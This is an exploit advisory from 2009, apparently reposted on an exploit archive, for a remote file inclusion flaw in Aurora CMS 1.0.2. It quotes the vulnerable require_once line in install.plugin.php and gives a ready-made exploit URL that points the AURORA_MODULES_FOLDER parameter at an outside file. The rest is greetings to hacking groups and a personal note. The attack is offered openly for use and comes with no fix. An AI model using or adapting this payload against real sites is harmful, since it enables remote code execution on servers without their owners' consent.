Aurora CMS 1.0.2 (install.plugin.php) Remote File Inclusion Vulnerability
2009-09-14 18:39:52---------------------------------------------------------------------------------------------------------------
Aurora Content Management System (Enterprise Edition) [install.plugin.php] <= Remote File Include Vulnerability
---------------------------------------------------------------------------------------------------------------
**********************************************************************************************************************************
* [+] Author : EA Ngel *
* [+] Situs : www[dot]manadocoding[dot]net *
* [+] Location : Indonesia *
* [+] Contact : engelpemula[at]gmail[dot]com *
* [+] Download script : http://biznetnetworks.dl.sourceforge.net/project/cronos/aurora/aurora_1.0.2/AURORA_1.0.2_stable.tar.gz *
* * *
**********************************************************************************************************************************
a. Dork : kreasikan otak-mu :)
b. Bug : - install.plugin.php
- global $AURORA_MODULES_FOLDER;
require_once $AURORA_MODULES_FOLDER.'/install/classes/install.class.php';
[@] Exploit : http://localhost/[path]/public_html/add-ons/modules/sysmanager/plugins/install.plugin.php?AURORA_MODULES_FOLDER=[moonlee.txt?]
[#] Special Thanks : str0ke
- manadocoding : basix, cr4wl3r, Mr.C, cokiki, bl4ck_3n91n3, tonaas, night_prophet, blue_eye, angky_tatoki
g4pt3k, michel_taung, doniskynet, rezagmas, Mr.Crossbeam, bolodewo and friend's
- Sekuritionline : cyberlog, k1n9k0ng, fl3xu5, exnome, dbanie, d4rkz, setiawan, kujang_lapuk, jantap, k3nz0
and friend's
- lain-lain : akiko, steve_san, steve_diving, b0b0h0, yadiyauri, ipay, nTc, chawanua, S4NT4, my_wishdom
alan_sarante, jajack, chrezz, wendyz, wishnu, kiddies, anjaz chux, is-mail, is-blank, P2,
C6, missi, mizz, hygao, b1beh^p1nk, tasya, san-san and friend's
[/] Note : NOW FAITH is the assurance (the confirmation, the title deed) of the things [we] hope for,
being the proof of things [we] do not see and the conviction of their reality [faith perceiving
as real fact what is not revealed to the senses].
===================================================================================================================================
= 13 September 2009 > Monalisa happy b'day!! may add up in everything, always close to God and wish u all the best. Jesus bless u =
===================================================================================================================================
#
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.